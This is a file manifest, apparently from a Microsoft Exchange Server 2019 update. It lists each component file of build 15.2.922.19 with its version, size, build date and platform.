\nBigfunnel.filter.dll| 15.2.922.19| 54,160| 3-Nov-21| 19:38| x86 \nBigfunnel.indexstream.dll| 15.2.922.19| 68,984| 3-Nov-21| 19:38| x86 \nBigfunnel.neuraltree.dll| Not applicable| 694,136| 3-Nov-21| 19:25| x64 \nBigfunnel.neuraltreeranking.dll| 15.2.922.19| 19,840| 3-Nov-21| 21:04| x86 \nBigfunnel.poi.dll| 15.2.922.19| 245,136| 3-Nov-21| 19:26| x86 \nBigfunnel.postinglist.dll| 15.2.922.19| 189,320| 3-Nov-21| 19:38| x86 \nBigfunnel.query.dll| 15.2.922.19| 101,256| 3-Nov-21| 19:24| x86 \nBigfunnel.ranking.dll| 15.2.922.19| 109,448| 3-Nov-21| 19:38| x86 \nBigfunnel.syntheticdatalib.dll| 15.2.922.19| 3,634,568| 3-Nov-21| 19:38| x86 \nBigfunnel.tracing.dll| 15.2.922.19| 42,872| 3-Nov-21| 19:24| x86 \nBigfunnel.wordbreakers.dll| 15.2.922.19| 46,480| 3-Nov-21| 19:38| x86 \nCafe_airfilter_dll| 15.2.922.19| 42,872| 3-Nov-21| 19:25| x64 \nCafe_exppw_dll| 15.2.922.19| 83,336| 3-Nov-21| 19:24| x64 \nCafe_owaauth_dll| 15.2.922.19| 92,040| 3-Nov-21| 19:39| x64 \nCalcalculation.ps1| Not applicable| 42,089| 3-Nov-21| 19:38| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 94,618| 3-Nov-21| 19:38| Not applicable \nChksgfiles.dll| 15.2.922.19| 57,208| 3-Nov-21| 19:38| x64 \nCitsconstants.ps1| Not applicable| 15,837| 3-Nov-21| 21:04| Not applicable \nCitslibrary.ps1| Not applicable| 82,676| 3-Nov-21| 21:04| Not applicable \nCitstypes.ps1| Not applicable| 14,476| 3-Nov-21| 21:04| Not applicable \nClassificationengine_mce| 15.2.922.19| 1,693,064| 3-Nov-21| 19:39| Not applicable \nClusmsg.dll| 15.2.922.19| 134,032| 3-Nov-21| 19:25| x64 \nCoconet.dll| 15.2.922.19| 48,016| 3-Nov-21| 19:24| x64 \nCollectovermetrics.ps1| Not applicable| 81,656| 3-Nov-21| 19:38| Not applicable \nCollectreplicationmetrics.ps1| Not applicable| 41,866| 3-Nov-21| 19:38| Not applicable \nCommonconnectfunctions.ps1| Not applicable| 29,923| 3-Nov-21| 21:55| Not applicable \nComplianceauditservice.exe| 15.2.922.19| 39,824| 3-Nov-21| 21:58| x86 \nConfigureadam.ps1| Not applicable| 22,796| 3-Nov-21| 19:38| Not applicable \nConfigurecaferesponseheaders.ps1| Not applicable| 20,320| 3-Nov-21| 19:38| Not applicable \nConfigurecryptodefaults.ps1| Not applicable| 42,071| 3-Nov-21| 19:38| Not applicable \nConfigurenetworkprotocolparameters.ps1| Not applicable| 19,802| 3-Nov-21| 19:38| Not applicable \nConfiguresmbipsec.ps1| Not applicable| 39,860| 3-Nov-21| 19:38| Not applicable \nConfigure_enterprisepartnerapplication.ps1| Not applicable| 22,275| 3-Nov-21| 19:38| Not applicable \nConnectfunctions.ps1| Not applicable| 37,137| 3-Nov-21| 21:55| Not applicable \nConnect_exchangeserver_help.xml| Not applicable| 30,412| 3-Nov-21| 21:55| Not applicable \nConsoleinitialize.ps1| Not applicable| 24,228| 3-Nov-21| 21:39| Not applicable \nConvertoabvdir.ps1| Not applicable| 20,065| 3-Nov-21| 19:38| Not applicable \nConverttomessagelatency.ps1| Not applicable| 14,544| 3-Nov-21| 19:38| Not applicable \nConvert_distributiongrouptounifiedgroup.ps1| Not applicable| 34,777| 3-Nov-21| 19:38| Not applicable \nCreate_publicfoldermailboxesformigration.ps1| Not applicable| 27,924| 3-Nov-21| 19:38| Not applicable \nCts.14.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.14.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.14.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.14.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.14.4.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.15.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.15.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.15.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.15.20.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.8.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.8.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts.8.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts_exsmime.dll| 15.2.922.19| 380,792| 3-Nov-21| 19:26| x64 \nCts_microsoft.exchange.data.common.dll| 15.2.922.19| 1,686,904| 3-Nov-21| 19:25| x86 \nCts_microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 513| 3-Nov-21| 19:22| Not applicable \nCts_policy.14.0.microsoft.exchange.data.common.dll| 15.2.922.19| 12,688| 3-Nov-21| 21:05| x86 \nCts_policy.14.1.microsoft.exchange.data.common.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nCts_policy.14.2.microsoft.exchange.data.common.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nCts_policy.14.3.microsoft.exchange.data.common.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:24| x86 \nCts_policy.14.4.microsoft.exchange.data.common.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nCts_policy.15.0.microsoft.exchange.data.common.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nCts_policy.15.1.microsoft.exchange.data.common.dll| 15.2.922.19| 12,664| 3-Nov-21| 21:05| x86 \nCts_policy.15.2.microsoft.exchange.data.common.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:24| x86 \nCts_policy.15.20.microsoft.exchange.data.common.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:39| x86 \nCts_policy.8.0.microsoft.exchange.data.common.dll| 15.2.922.19| 12,680| 3-Nov-21| 21:05| x86 \nCts_policy.8.1.microsoft.exchange.data.common.dll| 15.2.922.19| 12,680| 3-Nov-21| 21:05| x86 \nCts_policy.8.2.microsoft.exchange.data.common.dll| 15.2.922.19| 12,664| 3-Nov-21| 19:24| x86 \nCts_policy.8.3.microsoft.exchange.data.common.dll| 15.2.922.19| 12,664| 3-Nov-21| 19:24| x86 \nDagcommonlibrary.ps1| Not applicable| 60,238| 3-Nov-21| 19:38| Not applicable \nDependentassemblygenerator.exe| 15.2.922.19| 22,408| 3-Nov-21| 19:25| x86 \nDiaghelper.dll| 15.2.922.19| 66,952| 3-Nov-21| 19:26| x86 \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 16,346| 3-Nov-21| 21:04| Not applicable \nDisableinmemorytracing.ps1| Not applicable| 13,374| 3-Nov-21| 19:38| Not applicable \nDisable_antimalwarescanning.ps1| Not applicable| 15,221| 3-Nov-21| 19:38| Not applicable \nDisable_outsidein.ps1| Not applicable| 13,666| 3-Nov-21| 19:38| Not applicable \nDisklockerapi.dll| Not applicable| 22,416| 3-Nov-21| 19:26| x64 \nDlmigrationmodule.psm1| Not applicable| 39,592| 3-Nov-21| 19:38| Not applicable \nDsaccessperf.dll| 15.2.922.19| 45,968| 3-Nov-21| 19:38| x64 \nDscperf.dll| 15.2.922.19| 32,656| 3-Nov-21| 19:39| x64 \nDup_cts_microsoft.exchange.data.common.dll| 15.2.922.19| 1,686,904| 3-Nov-21| 19:25| x86 \nDup_ext_microsoft.exchange.data.transport.dll| 15.2.922.19| 601,480| 3-Nov-21| 21:04| x86 \nEcpperfcounters.xml| Not applicable| 31,180| 3-Nov-21| 19:21| Not applicable \nEdgeextensibility_microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEdgeextensibility_policy.8.0.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:24| x86 \nEdgetransport.exe| 15.2.922.19| 49,544| 3-Nov-21| 21:10| x86 \nEext.14.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.14.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.14.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.14.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.14.4.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.15.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.15.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.15.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.15.20.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.8.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.8.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext.8.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 516| 3-Nov-21| 19:22| Not applicable \nEext_policy.14.0.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:25| x86 \nEext_policy.14.1.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:24| x86 \nEext_policy.14.2.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,688| 3-Nov-21| 21:06| x86 \nEext_policy.14.3.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nEext_policy.14.4.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:23| x86 \nEext_policy.15.0.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,664| 3-Nov-21| 19:25| x86 \nEext_policy.15.1.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:39| x86 \nEext_policy.15.2.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,680| 3-Nov-21| 19:39| x86 \nEext_policy.15.20.microsoft.exchange.data.transport.dll| 15.2.922.19| 13,192| 3-Nov-21| 19:24| x86 \nEext_policy.8.1.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x86 \nEext_policy.8.2.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,664| 3-Nov-21| 19:25| x86 \nEext_policy.8.3.microsoft.exchange.data.transport.dll| 15.2.922.19| 12,664| 3-Nov-21| 19:26| x86 \nEnableinmemorytracing.ps1| Not applicable| 13,376| 3-Nov-21| 19:38| Not applicable \nEnable_antimalwarescanning.ps1| Not applicable| 17,575| 3-Nov-21| 19:38| Not applicable \nEnable_basicauthtooauthconverterhttpmodule.ps1| Not applicable| 18,600| 3-Nov-21| 19:38| Not applicable \nEnable_crossforestconnector.ps1| Not applicable| 18,610| 3-Nov-21| 19:38| Not applicable \nEnable_outlookcertificateauthentication.ps1| Not applicable| 22,928| 3-Nov-21| 19:38| Not applicable \nEnable_outsidein.ps1| Not applicable| 13,659| 3-Nov-21| 19:38| Not applicable \nEngineupdateserviceinterfaces.dll| 15.2.922.19| 17,800| 3-Nov-21| 21:05| x86 \nEscprint.dll| 15.2.922.19| 20,368| 3-Nov-21| 19:38| x64 \nEse.dll| 15.2.922.19| 3,741,072| 3-Nov-21| 19:38| x64 \nEseback2.dll| 15.2.922.19| 350,096| 3-Nov-21| 19:38| x64 \nEsebcli2.dll| 15.2.922.19| 318,328| 3-Nov-21| 19:38| x64 \nEseperf.dll| 15.2.922.19| 108,936| 3-Nov-21| 19:38| x64 \nEseutil.exe| 15.2.922.19| 425,352| 3-Nov-21| 21:05| x64 \nEsevss.dll| 15.2.922.19| 44,408| 3-Nov-21| 19:38| x64 \nEtweseproviderresources.dll| 15.2.922.19| 101,256| 3-Nov-21| 19:22| x64 \nEventperf.dll| 15.2.922.19| 59,784| 3-Nov-21| 19:25| x64 \nExchange.depthtwo.types.ps1xml| Not applicable| 40,085| 3-Nov-21| 21:55| Not applicable \nExchange.format.ps1xml| Not applicable| 649,717| 3-Nov-21| 21:55| Not applicable \nExchange.partial.types.ps1xml| Not applicable| 44,315| 3-Nov-21| 21:55| Not applicable \nExchange.ps1| Not applicable| 20,783| 3-Nov-21| 21:55| Not applicable \nExchange.support.format.ps1xml| Not applicable| 26,547| 3-Nov-21| 21:44| Not applicable \nExchange.types.ps1xml| Not applicable| 365,129| 3-Nov-21| 21:55| Not applicable \nExchangeudfcommon.dll| 15.2.922.19| 122,768| 3-Nov-21| 19:38| x86 \nExchangeudfs.dll| 15.2.922.19| 272,784| 3-Nov-21| 19:39| x86 \nExchmem.dll| 15.2.922.19| 86,416| 3-Nov-21| 19:27| x64 \nExchsetupmsg.dll| 15.2.922.19| 19,344| 3-Nov-21| 19:25| x64 \nExdbfailureitemapi.dll| Not applicable| 27,000| 3-Nov-21| 19:27| x64 \nExdbmsg.dll| 15.2.922.19| 230,792| 3-Nov-21| 19:25| x64 \nExeventperfplugin.dll| 15.2.922.19| 25,480| 3-Nov-21| 19:28| x64 \nExmime.dll| 15.2.922.19| 364,928| 3-Nov-21| 21:06| x64 \nExportedgeconfig.ps1| Not applicable| 27,403| 3-Nov-21| 19:38| Not applicable \nExport_mailpublicfoldersformigration.ps1| Not applicable| 18,570| 3-Nov-21| 19:38| Not applicable \nExport_modernpublicfolderstatistics.ps1| Not applicable| 29,218| 3-Nov-21| 19:38| Not applicable \nExport_outlookclassification.ps1| Not applicable| 14,390| 3-Nov-21| 19:38| Not applicable \nExport_publicfolderstatistics.ps1| Not applicable| 23,137| 3-Nov-21| 19:38| Not applicable \nExport_retentiontags.ps1| Not applicable| 17,056| 3-Nov-21| 19:38| Not applicable \nExppw.dll| 15.2.922.19| 83,336| 3-Nov-21| 19:24| x64 \nExprfdll.dll| 15.2.922.19| 26,488| 3-Nov-21| 19:30| x64 \nExrpc32.dll| 15.2.922.19| 2,029,456| 3-Nov-21| 21:04| x64 \nExrw.dll| 15.2.922.19| 28,024| 3-Nov-21| 19:26| x64 \nExsetdata.dll| 15.2.922.19| 2,779,024| 3-Nov-21| 21:06| x64 \nExsetup.exe| 15.2.922.19| 35,208| 3-Nov-21| 21:47| x86 \nExsetupui.exe| 15.2.922.19| 471,944| 3-Nov-21| 21:47| x86 \nExtrace.dll| 15.2.922.19| 245,128| 3-Nov-21| 19:25| x64 \nExt_microsoft.exchange.data.transport.dll| 15.2.922.19| 601,480| 3-Nov-21| 21:04| x86 \nExwatson.dll| 15.2.922.19| 44,944| 3-Nov-21| 19:26| x64 \nFastioext.dll| 15.2.922.19| 60,296| 3-Nov-21| 19:30| x64 \nFil06f84122c94c91a0458cad45c22cce20| Not applicable| 784,631| 3-Nov-21| 23:21| Not applicable \nFil143a7a5d4894478a85eefc89a6539fc8| Not applicable| 1,909,228| 3-Nov-21| 23:21| Not applicable \nFil19f527f284a0bb584915f9994f4885c3| Not applicable| 648,760| 3-Nov-21| 23:20| Not applicable \nFil1a9540363a531e7fb18ffe600cffc3ce| Not applicable| 358,405| 3-Nov-21| 23:21| Not applicable \nFil220d95210c8697448312eee6628c815c| Not applicable| 303,657| 3-Nov-21| 23:21| Not applicable \nFil2cf5a31e239a45fabea48687373b547c| Not applicable| 652,759| 3-Nov-21| 23:20| Not applicable \nFil397f0b1f1d7bd44d6e57e496decea2ec| Not applicable| 784,628| 3-Nov-21| 23:20| Not applicable \nFil3ab126057b34eee68c4fd4b127ff7aee| Not applicable| 784,604| 3-Nov-21| 23:20| Not applicable \nFil41bb2e5743e3bde4ecb1e07a76c5a7a8| Not applicable| 149,154| 3-Nov-21| 23:20| Not applicable \nFil51669bfbda26e56e3a43791df94c1e9c| Not applicable| 9,345| 3-Nov-21| 23:21| Not applicable \nFil558cb84302edfc96e553bcfce2b85286| Not applicable| 85,259| 3-Nov-21| 23:20| Not applicable \nFil55ce217251b77b97a46e914579fc4c64| Not applicable| 648,754| 3-Nov-21| 23:20| Not applicable \nFil5a9e78a51a18d05bc36b5e8b822d43a8| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFil5c7d10e5f1f9ada1e877c9aa087182a9| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFil6569a92c80a1e14949e4282ae2cc699c| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFil6a01daba551306a1e55f0bf6894f4d9f| Not applicable| 648,730| 3-Nov-21| 23:20| Not applicable \nFil8863143ea7cd93a5f197c9fff13686bf| Not applicable| 648,760| 3-Nov-21| 23:20| Not applicable \nFil8a8c76f225c7205db1000e8864c10038| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFil8cd999415d36ba78a3ac16a080c47458| Not applicable| 784,634| 3-Nov-21| 23:20| Not applicable \nFil97913e630ff02079ce9889505a517ec0| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFilaa49badb2892075a28d58d06560f8da2| Not applicable| 785,658| 3-Nov-21| 23:21| Not applicable \nFilae28aeed23ccb4b9b80accc2d43175b5| Not applicable| 648,757| 3-Nov-21| 23:20| Not applicable \nFilb17f496f9d880a684b5c13f6b02d7203| Not applicable| 784,634| 3-Nov-21| 23:21| Not applicable \nFilb94ca32f2654692263a5be009c0fe4ca| Not applicable| 2,564,949| 3-Nov-21| 23:20| Not applicable \nFilbabdc4808eba0c4f18103f12ae955e5c| Not applicable| #########| 3-Nov-21| 23:20| Not applicable \nFilc92cf2bf29bed21bd5555163330a3d07| Not applicable| 652,777| 3-Nov-21| 23:20| Not applicable \nFilcc478d2a8346db20c4e2dc36f3400628| Not applicable| 784,634| 3-Nov-21| 23:21| Not applicable \nFild26cd6b13cfe2ec2a16703819da6d043| Not applicable| 1,596,145| 3-Nov-21| 23:20| Not applicable \nFilf2719f9dc8f7b74df78ad558ad3ee8a6| Not applicable| 785,640| 3-Nov-21| 23:22| Not applicable \nFilfa5378dc76359a55ef20cc34f8a23fee| Not applicable| 1,427,187| 3-Nov-21| 23:20| Not applicable \nFilteringconfigurationcommands.ps1| Not applicable| 18,243| 3-Nov-21| 19:38| Not applicable \nFilteringpowershell.dll| 15.2.922.19| 223,112| 3-Nov-21| 21:05| x86 \nFilteringpowershell.format.ps1xml| Not applicable| 29,664| 3-Nov-21| 21:05| Not applicable \nFiltermodule.dll| 15.2.922.19| 180,112| 3-Nov-21| 19:26| x64 \nFipexeuperfctrresource.dll| 15.2.922.19| 15,248| 3-Nov-21| 21:05| x64 \nFipexeventsresource.dll| 15.2.922.19| 44,920| 3-Nov-21| 19:26| x64 \nFipexperfctrresource.dll| 15.2.922.19| 32,656| 3-Nov-21| 21:05| x64 \nFirewallres.dll| 15.2.922.19| 72,592| 3-Nov-21| 19:24| x64 \nFms.exe| 15.2.922.19| 1,350,032| 3-Nov-21| 21:05| x64 \nForefrontactivedirectoryconnector.exe| 15.2.922.19| 110,968| 3-Nov-21| 19:27| x64 \nFpsdiag.exe| 15.2.922.19| 18,824| 3-Nov-21| 19:30| x86 \nFsccachedfilemanagedlocal.dll| 15.2.922.19| 822,136| 3-Nov-21| 19:26| x64 \nFscconfigsupport.dll| 15.2.922.19| 56,696| 3-Nov-21| 19:26| x86 \nFscconfigurationserver.exe| 15.2.922.19| 430,968| 3-Nov-21| 19:30| x64 \nFscconfigurationserverinterfaces.dll| 15.2.922.19| 15,752| 3-Nov-21| 19:31| x86 \nFsccrypto.dll| 15.2.922.19| 208,760| 3-Nov-21| 19:24| x64 \nFscipcinterfaceslocal.dll| 15.2.922.19| 28,552| 3-Nov-21| 19:24| x86 \nFscipclocal.dll| 15.2.922.19| 38,288| 3-Nov-21| 19:28| x86 \nFscsqmuploader.exe| 15.2.922.19| 453,488| 3-Nov-21| 19:38| x64 \nGetucpool.ps1| Not applicable| 19,787| 3-Nov-21| 19:38| Not applicable \nGetvalidengines.ps1| Not applicable| 13,286| 3-Nov-21| 21:04| Not applicable \nGet_antispamfilteringreport.ps1| Not applicable| 15,789| 3-Nov-21| 19:24| Not applicable \nGet_antispamsclhistogram.ps1| Not applicable| 14,651| 3-Nov-21| 19:24| Not applicable \nGet_antispamtopblockedsenderdomains.ps1| Not applicable| 15,723| 3-Nov-21| 19:24| Not applicable \nGet_antispamtopblockedsenderips.ps1| Not applicable| 14,771| 3-Nov-21| 19:24| Not applicable \nGet_antispamtopblockedsenders.ps1| Not applicable| 15,474| 3-Nov-21| 19:24| Not applicable \nGet_antispamtoprblproviders.ps1| Not applicable| 14,685| 3-Nov-21| 19:24| Not applicable \nGet_antispamtoprecipients.ps1| Not applicable| 14,786| 3-Nov-21| 19:24| Not applicable \nGet_dleligibilitylist.ps1| Not applicable| 42,348| 3-Nov-21| 19:38| Not applicable \nGet_exchangeetwtrace.ps1| Not applicable| 28,959| 3-Nov-21| 19:38| Not applicable \nGet_publicfoldermailboxsize.ps1| Not applicable| 15,038| 3-Nov-21| 19:38| Not applicable \nGet_storetrace.ps1| Not applicable| 51,883| 3-Nov-21| 19:38| Not applicable \nHuffman_xpress.dll| 15.2.922.19| 32,656| 3-Nov-21| 19:25| x64 \nImportedgeconfig.ps1| Not applicable| 77,260| 3-Nov-21| 19:38| Not applicable \nImport_mailpublicfoldersformigration.ps1| Not applicable| 29,492| 3-Nov-21| 19:38| Not applicable \nImport_retentiontags.ps1| Not applicable| 28,830| 3-Nov-21| 19:38| Not applicable \nInproxy.dll| 15.2.922.19| 85,896| 3-Nov-21| 19:25| x64 \nInstallwindowscomponent.ps1| Not applicable| 34,555| 3-Nov-21| 19:38| Not applicable \nInstall_antispamagents.ps1| Not applicable| 17,925| 3-Nov-21| 19:24| Not applicable \nInstall_odatavirtualdirectory.ps1| Not applicable| 17,999| 3-Nov-21| 22:21| Not applicable \nInterop.activeds.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.922.19| 107,384| 3-Nov-21| 19:25| Not applicable \nInterop.adsiis.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.922.19| 20,344| 3-Nov-21| 19:26| Not applicable \nInterop.certenroll.dll| 15.2.922.19| 142,736| 3-Nov-21| 19:22| x86 \nInterop.licenseinfointerface.dll| 15.2.922.19| 14,216| 3-Nov-21| 19:38| x86 \nInterop.netfw.dll| 15.2.922.19| 34,192| 3-Nov-21| 19:24| x86 \nInterop.plalibrary.dll| 15.2.922.19| 72,568| 3-Nov-21| 19:38| x86 \nInterop.stdole2.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.922.19| 27,024| 3-Nov-21| 19:24| Not applicable \nInterop.taskscheduler.dll| 15.2.922.19| 46,456| 3-Nov-21| 19:30| x86 \nInterop.wuapilib.dll| 15.2.922.19| 60,808| 3-Nov-21| 19:24| x86 \nInterop.xenroll.dll| 15.2.922.19| 39,824| 3-Nov-21| 19:22| x86 \nKerbauth.dll| 15.2.922.19| 62,864| 3-Nov-21| 19:38| x64 \nLicenseinfointerface.dll| 15.2.922.19| 643,472| 3-Nov-21| 19:38| x64 \nLpversioning.xml| Not applicable| 20,422| 3-Nov-21| 21:47| Not applicable \nMailboxdatabasereseedusingspares.ps1| Not applicable| 31,916| 3-Nov-21| 19:38| Not applicable \nManagedavailabilitycrimsonmsg.dll| 15.2.922.19| 138,616| 3-Nov-21| 19:26| x64 \nManagedstorediagnosticfunctions.ps1| Not applicable| 126,249| 3-Nov-21| 19:38| Not applicable \nManagescheduledtask.ps1| Not applicable| 36,372| 3-Nov-21| 19:38| Not applicable \nManage_metacachedatabase.ps1| Not applicable| 51,099| 3-Nov-21| 19:38| Not applicable \nMce.dll| 15.2.922.19| 1,693,064| 3-Nov-21| 19:39| x64 \nMeasure_storeusagestatistics.ps1| Not applicable| 29,499| 3-Nov-21| 19:38| Not applicable \nMerge_publicfoldermailbox.ps1| Not applicable| 22,635| 3-Nov-21| 19:38| Not applicable \nMicrosoft.database.isam.dll| 15.2.922.19| 127,880| 3-Nov-21| 19:38| x86 \nMicrosoft.dkm.proxy.dll| 15.2.922.19| 25,976| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.activemonitoring.activemonitoringvariantconfig.dll| 15.2.922.19| 68,488| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.activemonitoring.eventlog.dll| 15.2.922.19| 17,792| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.addressbook.service.dll| 15.2.922.19| 233,360| 3-Nov-21| 21:39| x86 \nMicrosoft.exchange.addressbook.service.eventlog.dll| 15.2.922.19| 15,752| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.airsync.airsyncmsg.dll| 15.2.922.19| 43,408| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.airsync.comon.dll| 15.2.922.19| 1,776,008| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.airsync.dll1| 15.2.922.19| 505,224| 3-Nov-21| 22:14| Not applicable \nMicrosoft.exchange.airsynchandler.dll| 15.2.922.19| 76,168| 3-Nov-21| 22:17| x86 \nMicrosoft.exchange.anchorservice.dll| 15.2.922.19| 135,568| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.antispam.eventlog.dll| 15.2.922.19| 23,440| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.antispamupdate.eventlog.dll| 15.2.922.19| 15,760| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.antispamupdatesvc.exe| 15.2.922.19| 27,000| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.approval.applications.dll| 15.2.922.19| 53,624| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.assistants.dll| 15.2.922.19| 925,048| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.assistants.eventlog.dll| 15.2.922.19| 26,000| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.assistants.interfaces.dll| 15.2.922.19| 43,408| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.audit.azureclient.dll| 15.2.922.19| 15,224| 3-Nov-21| 21:47| x86 \nMicrosoft.exchange.auditlogsearch.eventlog.dll| 15.2.922.19| 14,736| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.auditlogsearchservicelet.dll| 15.2.922.19| 70,536| 3-Nov-21| 21:37| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.dll| 15.2.922.19| 94,600| 3-Nov-21| 21:55| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.authadmin.eventlog.dll| 15.2.922.19| 15,752| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.authadminservicelet.dll| 15.2.922.19| 36,744| 3-Nov-21| 21:37| x86 \nMicrosoft.exchange.authservicehostservicelet.dll| 15.2.922.19| 15,736| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.autodiscover.configuration.dll| 15.2.922.19| 79,736| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.autodiscover.dll| 15.2.922.19| 396,176| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.autodiscover.eventlogs.dll| 15.2.922.19| 21,384| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.autodiscoverv2.dll| 15.2.922.19| 57,216| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.bandwidthmonitorservicelet.dll| 15.2.922.19| 14,736| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.batchservice.dll| 15.2.922.19| 35,712| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.cabutility.dll| 15.2.922.19| 276,344| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.certificatedeployment.eventlog.dll| 15.2.922.19| 16,264| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 15.2.922.19| 26,000| 3-Nov-21| 21:38| x86 \nMicrosoft.exchange.certificatenotification.eventlog.dll| 15.2.922.19| 13,704| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.certificatenotificationservicelet.dll| 15.2.922.19| 23,432| 3-Nov-21| 21:39| x86 \nMicrosoft.exchange.clients.common.dll| 15.2.922.19| 378,256| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.clients.eventlogs.dll| 15.2.922.19| 83,832| 3-Nov-21| 19:26| x64 \nMicrosoft.exchange.clients.owa.dll| 15.2.922.19| 2,971,016| 3-Nov-21| 22:17| x86 \nMicrosoft.exchange.clients.owa2.server.dll| 15.2.922.19| 5,029,768| 3-Nov-21| 22:13| x86 \nMicrosoft.exchange.clients.owa2.servervariantconfiguration.dll| 15.2.922.19| 893,832| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.clients.security.dll| 15.2.922.19| 413,576| 3-Nov-21| 21:52| x86 